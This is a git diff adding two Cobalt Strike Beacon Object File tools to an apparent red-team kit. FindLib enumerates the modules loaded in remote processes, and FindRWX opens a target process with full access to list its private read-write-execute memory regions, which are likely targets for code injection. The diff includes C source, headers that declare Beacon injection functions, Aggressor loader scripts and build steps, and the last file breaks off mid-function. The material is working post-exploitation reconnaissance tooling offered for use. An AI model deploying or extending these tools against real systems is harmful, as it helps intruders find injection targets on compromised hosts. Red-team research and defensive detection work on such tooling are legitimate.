+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+
+
+typedef struct _UNICODE_STRING {
+    USHORT Length;
+    USHORT MaximumLength;
+    PWSTR Buffer;
+} UNICODE_STRING, *PUNICODE_STRING;
+ 
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
+    USHORT UniqueProcessId;
+    USHORT CreatorBackTraceIndex;
+    UCHAR ObjectTypeIndex;
+    UCHAR HandleAttributes;
+    USHORT HandleValue;
+    PVOID Object;
+    ULONG GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+ 
+typedef struct _SYSTEM_HANDLE_INFORMATION {
+    ULONG NumberOfHandles;
+    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
+ 
+typedef enum _POOL_TYPE {
+    NonPagedPool,
+    PagedPool,
+    NonPagedPoolMustSucceed,
+    DontUseThisType,
+    NonPagedPoolCacheAligned,
+    PagedPoolCacheAligned,
+    NonPagedPoolCacheAlignedMustS
+} POOL_TYPE, *PPOOL_TYPE;
+ 
+typedef struct _OBJECT_TYPE_INFORMATION {
+    UNICODE_STRING Name;
+    ULONG TotalNumberOfObjects;
+    ULONG TotalNumberOfHandles;
+    ULONG TotalPagedPoolUsage;
+    ULONG TotalNonPagedPoolUsage;
+    ULONG TotalNamePoolUsage;
+    ULONG TotalHandleTableUsage;
+    ULONG HighWaterNumberOfObjects;
+    ULONG HighWaterNumberOfHandles;
+    ULONG HighWaterPagedPoolUsage;
+    ULONG HighWaterNonPagedPoolUsage;
+    ULONG HighWaterNamePoolUsage;
+    ULONG HighWaterHandleTableUsage;
+    ULONG InvalidAttributes;
+    GENERIC_MAPPING GenericMapping;
+    ULONG ValidAccess;
+    BOOLEAN SecurityRequired;
+    BOOLEAN MaintainHandleCount;
+    USHORT MaintainTypeList;
+    POOL_TYPE PoolType;
+    ULONG PagedPoolUsage;
+    ULONG NonPagedPoolUsage;
+} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
+

+ 16 - 0
KIT/FindLib/README.md

@@ -0,0 +1,16 @@
+# FindLib
+Find a specific loaded module in all processes or list all loaded modules in a specific process.
+
+## Options
+`search`: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).
+`list`: list all loaded modules in a remote process.
+
+## Usage
+`findlib search <module name>`
+`findlib list <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/FindLib/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/FindLib/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findlib.c
+move /y findlib.obj findlib.o
+dumpbin /disasm findlib.o > findlib.disasm
+

+ 255 - 0
KIT/FindLib/findlib.c

@@ -0,0 +1,255 @@
+#include <windows.h>
+#include <stdio.h>
+#include <tlhelp32.h>
+#include <psapi.h>
+#include <shlwapi.h>
+#include "findlib.h"
+#include "beacon.h"
+
+#pragma comment(lib, "ntdll.lib")
+#pragma comment(lib, "Shlwapi.lib")
+
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	// For BOF we need to avoid large stack buffers, so put print buffer on heap.
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { // Allocate once and free in BeaconOutputStreamW. 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); // Free print buffer.
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+
+	return;
+}
+
+
+
+
+
+WCHAR ConvertToWCHAR(char input) {
+	WCHAR output[100];
+	KERNEL32$MultiByteToWideChar(CP_ACP, 0, input, -1, output, 100);
+	return output;
+}
+
+
+
+
+BOOL ListModules(int pid, char *targetModName) {
+    HANDLE hProcess;
+    MEMORY_BASIC_INFORMATION mbi;
+    char * base = NULL;
+	BOOL foundModule = FALSE;
+
+    hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
+	if (hProcess == NULL) return foundModule;
+
+	while (KERNEL32$VirtualQueryEx(hProcess, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
+		char fqModPath[MAX_PATH];
+		char modName[MAX_PATH];
+
+		if(targetModName != NULL) {
+			// only focus on the base address regions
+			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
+				if (KERNEL32$K32GetModuleBaseNameA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) modName, sizeof(modName) / sizeof(TCHAR))) {
+					if(MSVCRT$strcmp(targetModName, modName) == 0) {
+						WCHAR wFqModPath[100];
+						KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR));
+						KERNEL32$MultiByteToWideChar(CP_ACP, 0, fqModPath, -1, wFqModPath, 100);
+						BeaconPrintToStreamW(L"\nModulePath:\t%s\nModuleAddr:\t%#llx\n", wFqModPath, mbi.AllocationBase);
+						foundModule = TRUE;
+					}
+				}
+			}
+			// check the next region
+			base += mbi.RegionSize;
+		}
+		else {
+			
+			// only focus on the base address regions
+			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
+				if (KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR))) {
+					WCHAR wFqModPath[100];
+					KERNEL32$MultiByteToWideChar(CP_ACP, 0, fqModPath, -1, wFqModPath, 100);
+					
+					BeaconPrintToStreamW(L"ModulePath [%#llx]: %s\n", mbi.AllocationBase, wFqModPath);
+					foundModule = TRUE;
+				}
+				
+			}
+			// check the next region
+			base += mbi.RegionSize;
+		}
+	}
+	
+	KERNEL32$CloseHandle(hProcess);
+	return foundModule;
+}
+
+
+
+
+BOOL FindProcess(char *targetModName) {
+
+	int procID = 0;
+	HANDLE currentProc = NULL;
+	char procPath[MAX_PATH];
+	BOOL foundProc = FALSE;
+	BOOL res = FALSE;
+	
+	// resolve function address
+	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
+	
+	
+	// loop through all processes
+	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
+		procID = KERNEL32$GetProcessId(currentProc);
+		
+		if(procID == 4) continue;
+		
+		if (procID == KERNEL32$GetCurrentProcessId()) continue;
+		
+		if (procID != 0) foundProc = ListModules(procID, targetModName);
+		
+		if(foundProc) {
+			
+			WCHAR wProcName[100];
+			WCHAR wProcPath[256];
+			
+			KERNEL32$K32GetProcessImageFileNameA(currentProc, procPath, MAX_PATH);
+			
+			KERNEL32$MultiByteToWideChar(CP_ACP, 0, SHLWAPI$PathFindFileNameA(procPath), -1, wProcName, 100);
+			KERNEL32$MultiByteToWideChar(CP_ACP, 0, procPath, -1, wProcPath, 256);
+			
+			BeaconPrintToStreamW(L"ProcName:\t%s\nProcID:\t\t%d\nProcPath:\tC:\%s\n", wProcName, procID, wProcPath);
+			
+			res = TRUE;
+			
+		}
+		
+	}
+	return res;
+}
+
+
+
+
+
+int go(char *args, int len) {
+	int pid = 0;
+	BOOL res = NULL;
+	CHAR *option;
+	CHAR *targetModName;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	option = BeaconDataExtract(&parser, NULL);
+	
+	
+	if (MSVCRT$strcmp(option, "list") == 0) {
+		pid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating loaded modules for PID: %d\n\n", pid);
+		BeaconPrintToStreamW(L"[+] FOUND MODULES:\n==============================================================\n"); 
+		res = ListModules(pid, NULL);
+	}
+	else if (MSVCRT$strcmp(option, "search") == 0) {
+		targetModName = BeaconDataExtract(&parser, NULL);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating processes that loaded module: %s\n[!] Can take some time..\n\n", targetModName);
+		BeaconPrintToStreamW(L"[+] FOUND PROCESSES:\n==============================================================\n"); 
+		res = FindProcess(targetModName);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
+		return 0;
+	}
+
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "No modules found for this search query!\n\n");
+	else {
+		BeaconOutputStreamW();
+		BeaconPrintf(CALLBACK_OUTPUT, "\n[+] DONE");
+	}
+	return 0;
+}
+
+
+

+ 57 - 0
KIT/FindLib/findlib.cna

@@ -0,0 +1,57 @@
+# author REDMED-X
+
+beacon_command_register(
+	"findlib", "Find loaded module(s) in remote process(es)",
+	"INFO:\nFind a specific loaded module in all processes OR list all loaded modules in a specific process.\n\nOPTIONS:\n[search]: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).\n[list]: list all loaded modules in a remote process.\n\n" .
+	"USAGE:\nfindlib search <module name>\nfindlib list <pid>\n\n");
+	
+
+
+alias findlib {
+    $bid = $1;
+    $option = $2;
+    $target = $3;
+
+	if ($option eq "") {
+		berror($bid, "Please specify one of the following enumeration options: search | list\n");
+		return;
+	}
+	
+	if ($option eq "search" || $option eq "list") {
+	
+		if ($option eq "search" && $target eq "") {
+			berror($bid, "Please specify a module name to search for\n");
+			return;
+		}
+		
+		if ($option eq "list" && $target eq "") {
+			berror($bid, "Please specify the pid of the target process to enumerate\n");
+			return;
+		}
+	}
+	else {
+		berror($bid, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("findlib.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+	if ($option eq "search") {
+       $arg_data  = bof_pack($bid, "zz", $option, $target);
+    }
+	else {
+		$arg_data  = bof_pack($bid, "zi", $option, $target);
+	}
+	
+	#btask($1, "arg 1: $+  $option");
+	#btask($1, "arg 2: $+  $target");
+	
+	blog($bid, "Tasked to enumerate loaded modules..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 37 - 0
KIT/FindLib/findlib.h

@@ -0,0 +1,37 @@
+#include <windows.h>
+
+//ListModules
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleBaseNameA(HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize);
+
+
+//FindProcess
+typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+

+ 14 - 0
KIT/FindRWX/README.md

@@ -0,0 +1,14 @@
+# FindRWX
+Find processes that already have memory allocated for read/write/execute (like most .NET processes).
+
+## Options
+`<pid>`: specify target process ID to enumerate.
+
+## Usage
+`findrwx <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/FindRWX/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/FindRWX/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findrwx.c
+move /y findrwx.obj findrwx.o
+dumpbin /disasm findrwx.o > findrwx.disasm

+ 166 - 0
KIT/FindRWX/findrwx.c

@@ -0,0 +1,166 @@
+#include <windows.h>
+#include <stdio.h>
+#include <strsafe.h>
+#include <winternl.h>
+#include "beacon.h"
+#include "findrwx.h"
+
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	// For BOF we need to avoid large stack buffers, so put print buffer on heap.
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { // Allocate once and free in BeaconOutputStreamW. 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); // Free print buffer.
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+
+	return;
+}
+
+
+//find RWX memory region in found .NET process
+BOOL FindRWX(HANDLE hProcess) {
+	
+	BOOL foundRWX = FALSE;
+	LPVOID addr = 0;
+	MEMORY_BASIC_INFORMATION mbi;
+	mbi.BaseAddress = 0;
+	mbi.AllocationBase = 0;
+	mbi.AllocationProtect = 0;
+	mbi.RegionSize = 0;
+	mbi.State = 0;
+	mbi.Protect = 0;
+	mbi.Type = 0;
+	
+	BeaconPrintToStreamW(L"\nMemory address\t\t\tByte size\n");
+	BeaconPrintToStreamW(L"================================================\n");
+	
+	// query remote process memory information
+	while (KERNEL32$VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) {
+		addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
+
+		// look for RWX memory regions which are not backed by an image
+		if (mbi.Protect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) {
+			BeaconPrintToStreamW(L"%#-30llx\t%#7llu\n", mbi.BaseAddress, mbi.RegionSize);
+			foundRWX = TRUE;
+			
+		}
+	}
+	return foundRWX;
+}
+
+
+
+
+
+void go(char *args, int len) {
+	int pID = 0;
+	datap parser;
+	HANDLE hProcess = NULL;
+	BOOL res = NULL;
+	
+	BeaconDataParse(&parser, args, len);
+	pID = BeaconDataInt(&parser);
+	
+	hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
+	if (hProcess == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
+		return -1;		
+	}
+	
+	res = FindRWX(hProcess);
+	if(!res) {
+		BeaconPrintf(CALLBACK_ERROR, "No READ, WRITE, EXECUTE memory region found in the specified process!");
+	}
+	else {
+		//print data to CS console
+		BeaconOutputStreamW();
